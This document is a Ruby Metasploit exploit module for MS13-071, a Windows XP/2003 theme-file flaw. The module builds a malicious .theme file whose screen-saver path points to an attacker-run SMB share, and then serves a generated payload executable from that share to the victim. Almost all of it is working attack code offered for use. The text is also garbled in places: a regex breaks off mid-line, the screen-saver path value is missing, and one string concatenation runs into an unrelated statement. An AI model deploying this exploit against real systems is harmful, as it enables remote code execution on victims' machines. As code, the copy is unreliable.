require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit:: FILEFORMAT
include Msf::Exploit:: EXE
include Msf::Exploit::Remote::SMBServer
def initialize(info={})
super (update_info(info,
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution" ,
'Description' => %q{
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
2003 . The vulnerability exists in the handling of the Screen Saver path, in the [boot]
section. An arbitrary path can be used as screen saver, including a remote SMB resource,
which allows for remote code execution when a malicious .theme file is opened, and the
"Screen Saver" tab is viewed.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Eduardo Prado' ,
'juan vazquez'
],
'References' =>
[
[ 'CVE' , '2013-0810' ],
[ 'OSVDB' , '97136' ],
[ 'MSB' , 'MS13-071' ],
[ 'BID' , '62176' ]
],
'Payload' =>
{
'Space' => 2048 ,
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win' ,
'Targets' =>
[
[ 'Windows XP SP3 / Windows 2003 SP2' , {}],
],
'Privileged' => false ,
'DisclosureDate' => "Sep 10 2013" ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ]),
OptString. new ( 'UNCPATH' , [ false , 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
], self . class )
end
def exploit
if (datastore[ 'UNCPATH' ])
@unc = datastore[ 'UNCPATH' ]
print_status( "Remember to share the malicious EXE payload as #{@unc}" )
else
print_status( "Generating our malicious executable..." )
@exe = generate_payload_exe
my_host = (datastore[ 'SRVHOST' ] == '0.0.0.0' ) ? Rex::Socket.source_address : datastore[ 'SRVHOST' ]
@share = rand_text_alpha( 5 + rand( 5 ))
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
@hi , @lo = UTILS .time_unix_to_smb( Time .now.to_i)
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
end
print_status( "Creating '#{datastore['FILENAME']}' file ..." )
theme = <<- EOF
; Copyright © Microsoft Corp. 1995 - 2001
[Theme]
DisplayName= @themeui .dll,- 2016
; My Computer
[ CLSID \\{ 20D04FE0 - 3AEA - 1069 - A2D8 - 08002B30309D }\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe, 0
; My Documents
[ CLSID \\{ 450D8FBA - AD25 - 11D0 - 98A8 - 0800361B1103 }\\DefaultIcon]
DefaultValue=%WinDir% SYSTEM32 \\mydocs.dll, 0
; My Network Places
[ CLSID \\{ 208D2C60 - 3AEA - 1069 - A2D7 - 08002B30309D }\\DefaultIcon]
DefaultValue=%WinDir% SYSTEM32 \\shell32.dll, 17
; Recycle Bin
[ CLSID \\{ 645FF040 - 5081 - 101B - 9F08 - 00AA002F954E }\\DefaultIcon]
full=%WinDir% SYSTEM32 \\shell32.dll, 32
empty=%WinDir% SYSTEM32 \\shell32.dll, 31
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper= 0
WallpaperStyle= 2
Pattern=
ScreenSaveActive= 0
[boot]
SCRNSAVE . EXE =
[MasterThemeSelector]
MTSM = DABJDKT
EOF
file_create(theme)
print_good( "Let your victim open #{datastore['FILENAME']}" )
if not datastore[ 'UNCPATH' ]
print_status( "Ready to deliver your payload on #{@unc}" )
super
end
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state [c]
vprint_status( "Received command #{cmd} from #{smb[:name]}" )
pkt = CONST :: SMB_BASE_PKT .make_struct
pkt.from_s(buff)
smb[ :process_id ] = pkt[ 'Payload' ][ 'SMB' ].v[ 'ProcessID' ]
smb[ :user_id ] = pkt[ 'Payload' ][ 'SMB' ].v[ 'UserID' ]
smb[ :tree_id ] = pkt[ 'Payload' ][ 'SMB' ].v[ 'TreeID' ]
smb[ :multiplex_id ] = pkt[ 'Payload' ][ 'SMB' ].v[ 'MultiplexID' ]
case cmd
when CONST :: SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST :: SMB_COM_SESSION_SETUP_ANDX
wordcount = pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ]
if wordcount == 0x0D
smb_cmd_session_setup(c, buff)
else
vprint_status( "SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... " )
smb_error(cmd, c, CONST :: SMB_STATUS_SUCCESS )
end
when CONST :: SMB_COM_TRANSACTION2
smb_cmd_trans(c, buff)
when CONST :: SMB_COM_NT_CREATE_ANDX
smb_cmd_create(c, buff)
when CONST :: SMB_COM_READ_ANDX
smb_cmd_read(c, buff)
else
vprint_status( "SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})" )
smb_error(cmd, c, CONST :: SMB_STATUS_SUCCESS )
end
end
def smb_cmd_negotiate(c, buff)
pkt = CONST :: SMB_NEG_PKT .make_struct
pkt.from_s(buff)
dialects = pkt[ 'Payload' ].v[ 'Payload' ].gsub(/\x00/, '' ).split(/\x02/).grep(/^\w+/)
dialect = dialects.index( "NT LM 0.12" ) || dialects.length- 1
pkt = CONST :: SMB_NEG_RES_NT_PKT .make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS .time_unix_to_smb( Time .now.to_i)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_NEGOTIATE
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 17
pkt[ 'Payload' ].v[ 'Dialect' ] = dialect
pkt[ 'Payload' ].v[ 'SecurityMode' ] = 2
pkt[ 'Payload' ].v[ 'MaxMPX' ] = 50
pkt[ 'Payload' ].v[ 'MaxVCS' ] = 1
pkt[ 'Payload' ].v[ 'MaxBuff' ] = 4356
pkt[ 'Payload' ].v[ 'MaxRaw' ] = 65536
pkt[ 'Payload' ].v[ 'SystemTimeLow' ] = time_lo
pkt[ 'Payload' ].v[ 'SystemTimeHigh' ] = time_hi
pkt[ 'Payload' ].v[ 'ServerTimeZone' ] = 0x0
pkt[ 'Payload' ].v[ 'SessionKey' ] = 0
pkt[ 'Payload' ].v[ 'Capabilities' ] = 0x80f3fd
pkt[ 'Payload' ].v[ 'KeyLength' ] = 8
pkt[ 'Payload' ].v[ 'Payload' ] = Rex::Text.rand_text_hex( 8 )
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
pkt = CONST :: SMB_SETUP_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_SESSION_SETUP_ANDX
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 3
pkt[ 'Payload' ].v[ 'AndX' ] = 0x75
pkt[ 'Payload' ].v[ 'Reserved1' ] = 00
pkt[ 'Payload' ].v[ 'AndXOffset' ] = 96
pkt[ 'Payload' ].v[ 'Action' ] = 0x1
pkt[ 'Payload' ].v[ 'Payload' ] =
Rex::Text.to_unicode( "Unix" , 'utf-16be' ) + "\x00\x00" +
Rex::Text.to_unicode( "Samba 3.4.7" , 'utf-16be' ) + "\x00\x00" +
Rex::Text.to_unicode( "WORKGROUP" , 'utf-16be' ) + "\x00\x00\x00" +
tree_connect_response = ""
tree_connect_response << [ 7 ].pack( "C" )
tree_connect_response << [0xff].pack( "C" )
tree_connect_response << [ 0 ].pack( "C" )
tree_connect_response << [ 0 ].pack( "v" )
tree_connect_response << [0x1].pack( "v" )
tree_connect_response << [0xa9].pack( "v" )
tree_connect_response << [0x12].pack( "v" )
tree_connect_response << [ 0 ].pack( "v" )
tree_connect_response << [ 0 ].pack( "v" )
tree_connect_response << [ 13 ].pack( "v" )
tree_connect_response << "A:\x00"
tree_connect_response << "#{Rex::Text.to_unicode(" NTFS ")}\x00\x00" # Extra byte parameters
my_pkt = pkt.to_s + tree_connect_response
original_length = my_pkt[ 2 , 2 ].unpack( "n" ).first
original_length = original_length + tree_connect_response.length
my_pkt[ 2 , 2 ] = [original_length].pack( "n" )
c.put(my_pkt)
end
def smb_cmd_create(c, buff)
pkt = CONST :: SMB_CREATE_PKT .make_struct
pkt.from_s(buff)
if pkt[ 'Payload' ].v[ 'Payload' ] =~ /
pkt = CONST :: SMB_CREATE_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_NT_CREATE_ANDX
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 42
pkt[ 'Payload' ].v[ 'AndX' ] = 0xff
pkt[ 'Payload' ].v[ 'OpLock' ] = 0x2
pkt[ 'Payload' ].v[ 'FileID' ] = rand(0x7fff) + 1
pkt[ 'Payload' ].v[ 'Action' ] = 0x1
pkt[ 'Payload' ].v[ 'CreateTimeLow' ] = @lo
pkt[ 'Payload' ].v[ 'CreateTimeHigh' ] = @hi
pkt[ 'Payload' ].v[ 'AccessTimeLow' ] = @lo
pkt[ 'Payload' ].v[ 'AccessTimeHigh' ] = @hi
pkt[ 'Payload' ].v[ 'WriteTimeLow' ] = @lo
pkt[ 'Payload' ].v[ 'WriteTimeHigh' ] = @hi
pkt[ 'Payload' ].v[ 'ChangeTimeLow' ] = @lo
pkt[ 'Payload' ].v[ 'ChangeTimeHigh' ] = @hi
pkt[ 'Payload' ].v[ 'Attributes' ] = 0x80
pkt[ 'Payload' ].v[ 'AllocLow' ] = 0x100000
pkt[ 'Payload' ].v[ 'AllocHigh' ] = 0
pkt[ 'Payload' ].v[ 'EOFLow' ] = @exe .length
pkt[ 'Payload' ].v[ 'EOFHigh' ] = 0
pkt[ 'Payload' ].v[ 'FileType' ] = 0
pkt[ 'Payload' ].v[ 'IPCState' ] = 0x7
pkt[ 'Payload' ].v[ 'IsDirectory' ] = 0
c.put(pkt.to_s)
else
pkt = CONST :: SMB_CREATE_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_NT_CREATE_ANDX
pkt[ 'Payload' ][ 'SMB' ].v[ 'ErrorClass' ] = 0xC0000034
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_read(c, buff)
pkt = CONST :: SMB_READ_PKT .make_struct
pkt.from_s(buff)
offset = pkt[ 'Payload' ].v[ 'Offset' ]
length = pkt[ 'Payload' ].v[ 'MaxCountLow' ]
pkt = CONST :: SMB_READ_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_READ_ANDX
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 12
pkt[ 'Payload' ].v[ 'AndX' ] = 0xff
pkt[ 'Payload' ].v[ 'Remaining' ] = 0xffff
pkt[ 'Payload' ].v[ 'DataLenLow' ] = length
pkt[ 'Payload' ].v[ 'DataOffset' ] = 59
pkt[ 'Payload' ].v[ 'DataLenHigh' ] = 0
pkt[ 'Payload' ].v[ 'Reserved3' ] = 0
pkt[ 'Payload' ].v[ 'Reserved4' ] = 6
pkt[ 'Payload' ].v[ 'ByteCount' ] = length
pkt[ 'Payload' ].v[ 'Payload' ] = @exe [offset, length]
c.put(pkt.to_s)
end
def smb_cmd_trans(c, buff)
pkt = CONST :: SMB_TRANS2_PKT .make_struct
pkt.from_s(buff)
sub_command = pkt[ 'Payload' ].v[ 'SetupData' ].unpack( "v" ).first
case sub_command
when 0x5
smb_cmd_trans_query_path_info(c, buff)
when 0x1
smb_cmd_trans_find_first2(c, buff)
else
pkt = CONST :: SMB_TRANS_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_TRANSACTION2
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'ErrorClass' ] = 0xc0000225
c.put(pkt.to_s)
end
end
def smb_cmd_trans_query_path_info(c, buff)
pkt = CONST :: SMB_TRANS2_PKT .make_struct
pkt.from_s(buff)
if pkt[ 'Payload' ].v[ 'SetupData' ].length < 16
pkt = CONST :: SMB_TRANS_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_TRANSACTION2
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 10
pkt[ 'Payload' ].v[ 'ParamCountTotal' ] = 2
pkt[ 'Payload' ].v[ 'DataCountTotal' ] = 40
pkt[ 'Payload' ].v[ 'ParamCount' ] = 2
pkt[ 'Payload' ].v[ 'ParamOffset' ] = 56
pkt[ 'Payload' ].v[ 'DataCount' ] = 40
pkt[ 'Payload' ].v[ 'DataOffset' ] = 60
pkt[ 'Payload' ].v[ 'Payload' ] =
"\x00" +
"\x00\x00" +
"\x00\x00" +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
"\x10\x00\x00\x00" +
"\x00\x00\x00\x00"
c.put(pkt.to_s)
else
pkt = CONST :: SMB_TRANS_RES_PKT .make_struct
smb_set_defaults(c, pkt)
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_TRANSACTION2
pkt[ 'Payload' ][ 'SMB' ].v[ 'ErrorClass' ] = 0xC0000034
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_trans_find_first2(c, buff)
pkt = CONST :: SMB_TRANS_RES_PKT .make_struct
smb_set_defaults(c, pkt)
file_name = Rex::Text.to_unicode( @scr_file )
pkt[ 'Payload' ][ 'SMB' ].v[ 'Command' ] = CONST :: SMB_COM_TRANSACTION2
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags1' ] = 0x88
pkt[ 'Payload' ][ 'SMB' ].v[ 'Flags2' ] = 0xc001
pkt[ 'Payload' ][ 'SMB' ].v[ 'WordCount' ] = 10
pkt[ 'Payload' ].v[ 'ParamCountTotal' ] = 10
pkt[ 'Payload' ].v[ 'DataCountTotal' ] = 94 + file_name.length
pkt[ 'Payload' ].v[ 'ParamCount' ] = 10
pkt[ 'Payload' ].v[ 'ParamOffset' ] = 56
pkt[ 'Payload' ].v[ 'DataCount' ] = 94 + file_name.length
pkt[ 'Payload' ].v[ 'DataOffset' ] = 68
pkt[ 'Payload' ].v[ 'Payload' ] =
"\x00" +
"\xfd\xff" +
"\x01\x00" +
"\x01\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
[ 94 + file_name.length].pack( "V" ) +
"\x00\x00\x00\x00" +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
[ @lo , @hi ].pack( "VV" ) +
[ @exe .length].pack( "V" ) + "\x00\x00\x00\x00" +
"\x00\x00\x10\x00\x00\x00\x00\x00" +
"\x80\x00\x00\x00" +
[file_name.length].pack( "V" ) +
"\x00\x00\x00\x00" +
"\x00" +
"\x00" +
( "\x00" * 24 ) +
file_name
c.put(pkt.to_s)
end
end
|